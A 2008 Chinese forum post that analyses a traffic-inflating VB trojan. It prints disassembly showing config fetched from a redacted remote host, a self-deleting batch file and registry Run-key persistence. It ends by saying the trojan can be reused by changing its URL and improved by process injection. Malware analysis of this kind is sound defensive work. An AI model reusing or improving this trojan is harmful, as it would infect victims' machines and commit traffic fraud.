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黑客谈之对一刷网站访问量的小马分析

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系统补丁打完，网上瞎灌，居然还中网马，哎！现在把他网马下载下来，不错，真牛，通杀Windwos98、WindwosNT、Windwos2000、WindwosXP、WindwosXPSP2、Windwos2003。自己留着，随便来分析了下他的木马。一刷流量木马。服了。现在小马都出到这个份上了。

来源：论坛整理 2008年8月16日

关键字：网络安全攻击防范黑客

脱壳略，VB编写。

00403DAD   . FF15 54104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaHresu>; 
msvbvm60.__vbaHresultCheckObj
00403DB3   . 8985 E0FCFFFF MOV DWORD PTR SS:[EBP-320],EAX
00403DB9   . EB 0A       JMP SHORT Rundll32.00403DC5
00403DBB   > C785 E0FCFFFF>MOV DWORD PTR SS:[EBP-320],0
00403DC5   > 8B95 60FEFFFF MOV EDX,DWORD PTR SS:[EBP-1A0]
00403DCB   . 8995 F8FCFFFF MOV DWORD PTR SS:[EBP-308],EDX
00403DD1   . C785 60FEFFFF>MOV DWORD PTR SS:[EBP-1A0],0
00403DDB   . 8B85 F8FCFFFF MOV EAX,DWORD PTR SS:[EBP-308]
00403DE1   . 8985 34FEFFFF MOV DWORD PTR SS:[EBP-1CC],EAX
00403DE7   . C785 2CFEFFFF>MOV DWORD PTR SS:[EBP-1D4],8
00403DF1   . 8D95 2CFEFFFF LEA EDX,DWORD PTR SS:[EBP-1D4]
00403DF7   . 8D8D F8FEFFFF LEA ECX,DWORD PTR SS:[EBP-108]
00403DFD   . FF15 08104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarMo>; msvbvm60.__vbaVarMove
00403E03   . C745 FC 06000>MOV DWORD PTR SS:[EBP-4],6
00403E0A   . C785 D4FDFFFF>MOV DWORD PTR SS:[EBP-22C],Rundll32.0040>; 
UNICODE "http://www.xxxxxxxx.com/tc/adset.txt"
00403E14   . C785 CCFDFFFF>MOV DWORD PTR SS:[EBP-234],8
00403E1E   . 8D95 CCFDFFFF LEA EDX,DWORD PTR SS:[EBP-234]
00403E24   . 8D4D A0     LEA ECX,DWORD PTR SS:[EBP-60]
00403E27   . FF15 70114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarCo>; msvbvm60.__vbaVarCopy
00403E2D   . C745 FC 07000>MOV DWORD PTR SS:[EBP-4],7
00403E34   . C785 D4FDFFFF>MOV DWORD PTR SS:[EBP-22C],Rundll32.0040>; 
UNICODE "http://www.xxxxxxxx.com/tc/adlist.txt"
00403E3E   . C785 CCFDFFFF>MOV DWORD PTR SS:[EBP-234],8
00403E48   . 8D95 CCFDFFFF LEA EDX,DWORD PTR SS:[EBP-234]
00403E4E   . 8D8D 6CFFFFFF LEA ECX,DWORD PTR SS:[EBP-94]
00403E54   . FF15 70114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarCo>; msvbvm60.__vbaVarCopy
00403E5A   . C745 FC 08000>MOV DWORD PTR SS:[EBP-4],8
00403E61   . C785 D4FDFFFF>MOV DWORD PTR SS:[EBP-22C],Rundll32.0040>; 
UNICODE "http://www.xxxxxxxx.com/tc/MMResult.asp"
00403E6B   . C785 CCFDFFFF>MOV DWORD PTR SS:[EBP-234],8
00403E75   . 8D95 CCFDFFFF LEA EDX,DWORD PTR SS:[EBP-234]
00403E7B   . 8D4D 8C     LEA ECX,DWORD PTR SS:[EBP-74]
00403E7E   . FF15 70114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarCo>; msvbvm60.__vbaVarCopy
00403E84   . C745 FC 09000>MOV DWORD PTR SS:[EBP-4],9
00403E8B   . C785 D4FDFFFF>MOV DWORD PTR SS:[EBP-22C],Rundll32.0040>; 
UNICODE "http://www.xxxxxxxx.com/tc/adiepage.txt"
00403E95   . C785 CCFDFFFF>MOV DWORD PTR SS:[EBP-234],8
00403E9F   . 8D95 CCFDFFFF LEA EDX,DWORD PTR SS:[EBP-234]
00403EA5   . 8D8D B8FEFFFF LEA ECX,DWORD PTR SS:[EBP-148]
00403EAB   . FF15 70114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarCo>; msvbvm60.__vbaVarCopy
00403EB1   . C745 FC 0A000>MOV DWORD PTR SS:[EBP-4],0A
00403EB8   . C785 D4FDFFFF>MOV DWORD PTR SS:[EBP-22C],Rundll32.0040>; 
UNICODE "http://www.xxxxxxxx.com/tc/ieFavorites.txt"
00403EC2   . C785 CCFDFFFF>MOV DWORD PTR SS:[EBP-234],8
00403ECC   . 8D95 CCFDFFFF LEA EDX,DWORD PTR SS:[EBP-234]
00403ED2   . 8D8D 7CFFFFFF LEA ECX,DWORD PTR SS:[EBP-84]
00403ED8   . FF15 70114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarCo>; msvbvm60.__vbaVarCopy
00403EDE   . C745 FC 0B000>MOV DWORD PTR SS:[EBP-4],0B
00403EE5   . C785 D4FDFFFF>MOV DWORD PTR SS:[EBP-22C],Rundll32.0040>; UNICODE "WinDir"
00403EEF   . C785 CCFDFFFF>MOV DWORD PTR SS:[EBP-234],8
00403EF9   . 8D95 CCFDFFFF LEA EDX,DWORD PTR SS:[EBP-234]
00403EFF   . 8D8D 2CFEFFFF LEA ECX,DWORD PTR SS:[EBP-1D4]
00403F05   . FF15 6C114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarDu>; msvbvm60.__vbaVarDup
00403F0B   . 8D8D 2CFEFFFF LEA ECX,DWORD PTR SS:[EBP-1D4]
00403F11   . 51         PUSH ECX
00403F12   . 8D95 1CFEFFFF LEA EDX,DWORD PTR SS:[EBP-1E4]
00403F18   . 52         PUSH EDX
00403F19   . FF15 60104000 CALL DWORD PTR DS:[<&msvbvm60.rtcEnviron>; msvbvm60.rtcEnvironVar
00403F1F   . C785 C4FDFFFF>MOV DWORD PTR SS:[EBP-23C],Rundll32.0040>; UNICODE "rundll32.exe"
00403F29   . C785 BCFDFFFF>MOV DWORD PTR SS:[EBP-244],8

程序会到http://www.xxxxxxxx.com 的tc文件读取配置文件，同时访问tc/MMResult.asp，生成文件

00404DA2   . /EB 0A       JMP SHORT Rundll32.00404DAE           //获取文件路径堆栈 
00404DA4   > |C785 88FCFFFF>MOV DWORD PTR SS:[EBP-378],0       
00404DAE   > 8B85 60FEFFFF MOV EAX,DWORD PTR SS:[EBP-1A0]         //我程序路径是 "D:fuck you" 
00404DB4   . 50         PUSH EAX                         //路径入eax   
00404DB5   . 68 80274000   PUSH Rundll32.00402780             ; //生成killme.bat
00404DBA   . FF15 48104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaStrCat>; msvbvm60.__vbaStrCat
00404DC0   . 8BD0       MOV EDX,EAX                 //文件路径+文件名字D:fuck youkillme.bat
00404DC2   . 8D8D 5CFEFFFF LEA ECX,DWORD PTR SS:[EBP-1A4]
00404DC8   . FF15 80114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaStrMov>; msvbvm60.__vbaStrMove
00404DCE   . 50         PUSH EAX
00404DCF   . 6A 01       PUSH 1
00404DD1   . 6A FF       PUSH -1
00404DD3   . 6A 02       PUSH 2
00404DD5   . FF15 28114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaFileOp>; msvbvm60.__vbaFileOpen
00404DDB   . 8D8D 5CFEFFFF LEA ECX,DWORD PTR SS:[EBP-1A4]
00404DE1   . 51         PUSH ECX
00404DE2   . 8D95 60FEFFFF LEA EDX,DWORD PTR SS:[EBP-1A0]
00404DE8   . 52         PUSH EDX
00404DE9   . 6A 02       PUSH 2
00404DEB   . FF15 48114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaFreeSt>; msvbvm60.__vbaFreeStrList
00404DF1   . 83C4 0C     ADD ESP,0C
00404DF4   . 8D8D 40FEFFFF LEA ECX,DWORD PTR SS:[EBP-1C0]
00404DFA   . FF15 A8114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaFreeOb>; msvbvm60.__vbaFreeObj
00404E00   . C745 FC 23000>MOV DWORD PTR SS:[EBP-4],23
00404E07   . 68 9C274000   PUSH Rundll32.0040279C             ; @echo off
00404E0C   . 6A 01       PUSH 1
00404E0E   . 68 B4274000   PUSH Rundll32.004027B4
00404E13   . FF15 F8104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaPrintF>; msvbvm60.__vbaPrintFile
00404E19   . 83C4 0C     ADD ESP,0C
00404E1C   . C745 FC 24000>MOV DWORD PTR SS:[EBP-4],24
00404E23   . 68 BC274000   PUSH Rundll32.004027BC             ; sleep 100
00404E28   . 6A 01       PUSH 1
00404E2A   . 68 B4274000   PUSH Rundll32.004027B4
00404E2F   . FF15 F8104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaPrintF>; msvbvm60.__vbaPrintFile
00404E35   . 83C4 0C     ADD ESP,0C
00404E38   . C745 FC 25000>MOV DWORD PTR SS:[EBP-4],25
00404E3F   . 833D A8934000>CMP DWORD PTR DS:[4093A8],0
00404E46   . 75 1C       JNZ SHORT Rundll32.00404E64
00404E48   . 68 A8934000   PUSH Rundll32.004093A8
00404E4D   . 68 94254000   PUSH Rundll32.00402594
00404E52   . FF15 30114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaNew2>] ; msvbvm60.__vbaNew2
00404E58   . C785 84FCFFFF>MOV DWORD PTR SS:[EBP-37C],Rundll32.00409>
00404E62   . EB 0A       JMP SHORT Rundll32.00404E6E
00404E64   > C785 84FCFFFF>MOV DWORD PTR SS:[EBP-37C],Rundll32.00409>
00404E6E   > 8B85 84FCFFFF MOV EAX,DWORD PTR SS:[EBP-37C]
00404E74   . 8B08       MOV ECX,DWORD PTR DS:[EAX]
........
00404F1D   . 52         PUSH EDX
00404F1E   . FF15 54104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaHresul>; msvbvm60.__vbaHresultCheckObj
00404F24   . 8985 7CFCFFFF MOV DWORD PTR SS:[EBP-384],EAX           
00404F2A   . EB 0A       JMP SHORT Rundll32.00404F36     
00404F2C   > C785 7CFCFFFF>MOV DWORD PTR SS:[EBP-384],0           
00404F36   > 68 D4274000   PUSH Rundll32.004027D4             ; del
00404F3B   . 8B85 60FEFFFF MOV EAX,DWORD PTR SS:[EBP-1A0]         //程序的文件名字
00404F41   . 50         PUSH EAX                         //文件名入栈 （rundll322）
00404F42   . 68 E4274000   PUSH Rundll32.004027E4             ; .exe   （rundll322.exe）
00404F47   . FF15 48104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaStrCat>; msvbvm60.__vbaStrCat
00404F4D   . 8BD0       MOV EDX,EAX
00404F4F   . 8D8D 5CFEFFFF LEA ECX,DWORD PTR SS:[EBP-1A4]
00404F55   . FF15 80114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaStrMov>; msvbvm60.__vbaStrMove
00404F5B   . 50         PUSH EAX
00404F5C   . FF15 48104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaStrCat>; msvbvm60.__vbaStrCat
00404F62   . 8BD0       MOV EDX,EAX                       //（del rundll322.exe）     
00404F64   . 8D8D 58FEFFFF LEA ECX,DWORD PTR SS:[EBP-1A8]
00404F6A   . FF15 80114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaStrMov>; msvbvm60.__vbaStrMove
00404F70   . 50         PUSH EAX
00404F71   . 6A 01       PUSH 1
00404F73   . 68 B4274000   PUSH Rundll32.004027B4
00404F78   . FF15 F8104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaPrintF>; msvbvm60.__vbaPrintFile
00404F7E   . 83C4 0C     ADD ESP,0C
00404F81   . 8D8D 58FEFFFF LEA ECX,DWORD PTR SS:[EBP-1A8]
00404F87   . 51         PUSH ECX
00404F88   . 8D95 5CFEFFFF LEA EDX,DWORD PTR SS:[EBP-1A4]
00404F8E   . 52         PUSH EDX
00404F8F   . 8D85 60FEFFFF LEA EAX,DWORD PTR SS:[EBP-1A0]
00404F95   . 50         PUSH EAX
00404F96   . 6A 03       PUSH 3
00404F98   . FF15 48114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaFreeSt>; msvbvm60.__vbaFreeStrList
00404F9E   . 83C4 10     ADD ESP,10
00404FA1   . 8D8D 40FEFFFF LEA ECX,DWORD PTR SS:[EBP-1C0]
00404FA7   . FF15 A8114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaFreeOb>; msvbvm60.__vbaFreeObj
00404FAD   . C745 FC 26000>MOV DWORD PTR SS:[EBP-4],26
00404FB4   . 68 F4274000   PUSH Rundll32.004027F4             ; del killme.bat
00404FB9   . 6A 01       PUSH 1
00404FBB   . 68 B4274000   PUSH Rundll32.004027B4
00404FC0   . FF15 F8104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaPrintF>; msvbvm60.__vbaPrintFile
00404FC6   . 83C4 0C     ADD ESP,0C
00404FC9   . C745 FC 27000>MOV DWORD PTR SS:[EBP-4],27
00404FD0   . 68 18284000   PUSH Rundll32.00402818             ; cls
00404FD5   . 6A 01       PUSH 1
00404FD7   . 68 B4274000   PUSH Rundll32.004027B4
00404FDC   . FF15 F8104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaPrintF>; msvbvm60.__vbaPrintFile
00404FE2   . 83C4 0C     ADD ESP,0C
00404FE5   . C745 FC 28000>MOV DWORD PTR SS:[EBP-4],28
00404FEC   . 68 24284000   PUSH Rundll32.00402824             ; exit
00404FF1   . 6A 01       PUSH 1
00404FF3   . 68 B4274000   PUSH Rundll32.004027B4
00404FF8   . FF15 F8104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaPrintF>; msvbvm60.__vbaPrintFile
00404FFE   . 83C4 0C     ADD ESP,0C
00405001   . C745 FC 29000>MOV DWORD PTR SS:[EBP-4],29
00405008   . 6A 01       PUSH 1
0040500A   . FF15 A4104000 CALL DWORD PTR DS:[<&msvbvm60.__vbaFileCl>; msvbvm60.__vbaFileClose
00405010   . C745 FC 2A000>MOV DWORD PTR SS:[EBP-4],2A
00405017   . 833D A8934000>CMP DWORD PTR DS:[4093A8],0
0040501E   . 75 1C       JNZ SHORT Rundll32.0040503C
00405020   . 68 A8934000   PUSH Rundll32.004093A8
00405025   . 68 94254000   PUSH Rundll32.00402594

生成批处删记录

killme.bat
echo off
sleep 100
del rundll322.exe
del killme.bat
cls
exit

简单的写注册表run。

004046ED   . BA 5C284000   MOV EDX,Rundll32.0040285C
           ; softwaremicrosoftwindowscurrentversionrun
004046F2   . 8D8D 08FFFFFF LEA ECX,DWORD PTR SS:[EBP-F8]
004046F8   . FF15 40114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaStrCop>; msvbvm60.__vbaStrCopy
004046FE   . C745 FC 17000>MOV DWORD PTR SS:[EBP-4],17
00404705   . C785 D4FDFFFF>MOV DWORD PTR SS:[EBP-22C],Rundll32.00402>; windir
0040470F   . C785 CCFDFFFF>MOV DWORD PTR SS:[EBP-234],8
00404719   . 8D95 CCFDFFFF LEA EDX,DWORD PTR SS:[EBP-234]
0040471F   . 8D8D 2CFEFFFF LEA ECX,DWORD PTR SS:[EBP-1D4]
00404725   . FF15 6C114000 CALL DWORD PTR DS:[<&msvbvm60.__vbaVarDup>; msvbvm60.__vbaVarDup
0040472B   . 8D95 2CFEFFFF LEA EDX,DWORD PTR SS:[EBP-1D4]
00404731   . 52         PUSH EDX
00404732   . 8D85 1CFEFFFF LEA EAX,DWORD PTR SS:[EBP-1E4]
00404738   . 50         PUSH EAX
00404739   . FF15 60104000 CALL DWORD PTR DS:[<&msvbvm60.rtcEnvironV>; msvbvm60.rtcEnvironVar
0040473F   . C785 C4FDFFFF>MOV DWORD PTR SS:[EBP-23C],Rundll32.00402>; rundll32.exe

直接给出分析的总结吧。程序只是为了刷访问量，没有什么后门，也就隐藏了URL，用XXXX代理了。

程序运行后，你的电脑会访问 http://www.xxxxxxxx.com/tc/MMResult.asp

看代码

<HTML><HEAD><TITLE>.</TITLE>
<meta http-equiv="refresh" content="1; url=http://www.xxxx.net"> ‘地址用xxx代替了
</HEAD><BODY>
<script src='http://s47.cnzz.com/stat.php?id=223697&web_id=223697' language='JavaScript'
 charset='gb2312'></script>   ’站长站的流量统计
</BODY></HTML>

把自身复制到c:/windows/，会生成批处删本地目录运行程序。

killme.bat
echo off
sleep 100
del rundll322.exe
del killme.bat
cls
exit

程序的运行方式是写注册表

softwaremicrosoftwindowscurrentversionrun

键值rundll32.exe

程序写的不好，要插入进程，那效果会好点。只要把他程序的URL修改一下这个木马就可以自己使用了。

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黑客谈之对一刷网站访问量的小马分析

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